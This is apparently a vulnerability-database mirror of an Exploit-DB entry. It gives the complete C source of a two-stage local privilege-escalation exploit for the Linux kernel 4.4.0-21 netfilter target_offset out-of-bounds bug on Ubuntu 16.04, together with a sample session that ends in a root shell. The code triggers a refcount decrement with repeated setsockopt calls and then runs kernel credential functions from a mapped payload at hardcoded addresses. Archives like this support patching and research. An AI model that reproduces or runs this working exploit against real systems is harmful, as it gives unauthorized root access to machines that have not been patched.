Lucene search
K

Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Privilege Escalation

🗓️ 03 Jul 2016 00:00:00Reported by vnikType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 67 Views

Ubuntu 16.04 local root exploit for netfilter 'target_offset' OOB vulnerability in Linux Kernel 4.4.0-21 x86_64. Escalates privileges by triggering automatic loading of ip_tables.ko and bypasses SMEP/SMAP

Code
/*
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40053.zip
*/

--------------------------------------------------- decr.c ---------------------------------------------------
/**
 * Ubuntu 16.04 local root exploit - netfilter target_offset OOB
 * check_compat_entry_size_and_hooks/check_entry
 *
 * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
 *
 * Vitaly Nikolenko
 * [email protected]
 * 23/04/2016
 *
 *
 * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
 * automatic loading).
 *
 * vnik@ubuntu:~$ uname -a
 * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 * vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
 * vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
 * vnik@ubuntu:~$ ./decr 
 * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
 * [!] Decrementing the refcount. This may take a while...
 * [!] Wait for the "Done" message (even if you'll get the prompt back).
 * vnik@ubuntu:~$ [+] Done! Now run ./pwn
 * 
 * vnik@ubuntu:~$ ./pwn
 * [+] Escalating privs...
 * root@ubuntu:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * root@ubuntu:~# 
 * 
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MALLOC_SIZE 66*1024

int check_smaep() {
	FILE *proc_cpuinfo;
	char fbuf[512];

	proc_cpuinfo = fopen("/proc/cpuinfo", "r");

	if (proc_cpuinfo < 0) {
		perror("fopen");
		return -1;
	}

	memset(fbuf, 0, sizeof(fbuf));
	
	while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
		if (strlen(fbuf) == 0)
			continue;
		
		if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {
			fclose(proc_cpuinfo);
			return -1;
		}
	}

	fclose(proc_cpuinfo);
	return 0;
}

int check_mod() {
	FILE *proc_modules;
	char fbuf[256];

	proc_modules = fopen("/proc/modules", "r");

	if (proc_modules < 0) {
		perror("fopen");
		return -1;
	}

	memset(fbuf, 0, sizeof(fbuf));
	
	while(fgets(fbuf, 256, proc_modules) != NULL) {
		if (strlen(fbuf) == 0)
			continue;
		
		if (!strncmp("ip_tables", fbuf, 9)) {
			fclose(proc_modules);
			return 0;
		}
	}

	fclose(proc_modules);
	return -1;
}

int decr(void *p) {
	int sock, optlen;
	int ret;
	void *data;
	struct ipt_replace *repl;
	struct ipt_entry *entry;
	struct xt_entry_match *ematch;
	struct xt_standard_target *target;
	unsigned i;

	sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

	if (sock == -1) {
	        perror("socket");
	        return -1;
	}

	data = malloc(MALLOC_SIZE);

	if (data == NULL) {
		perror("malloc");
		return -1;
	}

	memset(data, 0, MALLOC_SIZE);

	repl = (struct ipt_replace *) data;
	repl->num_entries = 1;
	repl->num_counters = 1;
	repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
	repl->valid_hooks = 0;

	entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
	entry->target_offset = 74; // overwrite target_offset
	entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);

	ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));

	strcpy(ematch->u.user.name, "icmp");
	void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
	uint64_t *me = (uint64_t *)(kmatch + 0x58);
	*me = 0xffffffff821de10d; // magic number!

	uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
	*match = (uint32_t)kmatch;
	
	ematch->u.match_size = (short)0xffff;

	target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
	uint32_t *t = (uint32_t *)target;
	*t = (uint32_t)kmatch;

	printf("[!] Decrementing the refcount. This may take a while...\n");
	printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");

	for (i = 0; i < 0xffffff/2+1; i++) {
		ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
	}

	close(sock);
	free(data);
	printf("[+] Done! Now run ./pwn\n");

	return 0;
}

int main(void) {
	void *stack;
	int ret;

	printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
	if (check_mod()) {
		printf("[-] No ip_tables module found! Quitting...\n");
		return -1;
	}

	if (check_smaep()) {
		printf("[-] SMEP/SMAP support dectected! Quitting...\n");
		return -1;
	}

	ret = unshare(CLONE_NEWUSER);

	if (ret == -1) {
		perror("unshare");
		return -1;
	}

	stack = (void *) malloc(65536);

	if (stack == NULL) {
		perror("malloc");
		return -1;
	}

	clone(decr, stack + 65536, CLONE_NEWNET, NULL);

	sleep(1);

	return 0;
}

--------------------------------------------------- pwn.c ---------------------------------------------------

/**
 * Run ./decr first!
 *
 * 23/04/2016
 * - vnik
 */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>

#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);

void __attribute__((regparm(3))) privesc() {
	commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
	prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
        commit_creds(prepare_kernel_cred((uint64_t)NULL));
}

int main() {
	void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
	assert(payload == (void *)MMAP_ADDR);

	void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);

	memset(shellcode, 0, 0x300000);

	void *ret = memcpy(shellcode, &privesc, 0x300);
	assert(ret == shellcode);

	printf("[+] Escalating privs...\n");

	int fd = open("/dev/ptmx", O_RDWR);
	close(fd);

	assert(!getuid());

	printf("[+] We've got root!");

        return execl("/bin/bash", "-sh", NULL);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation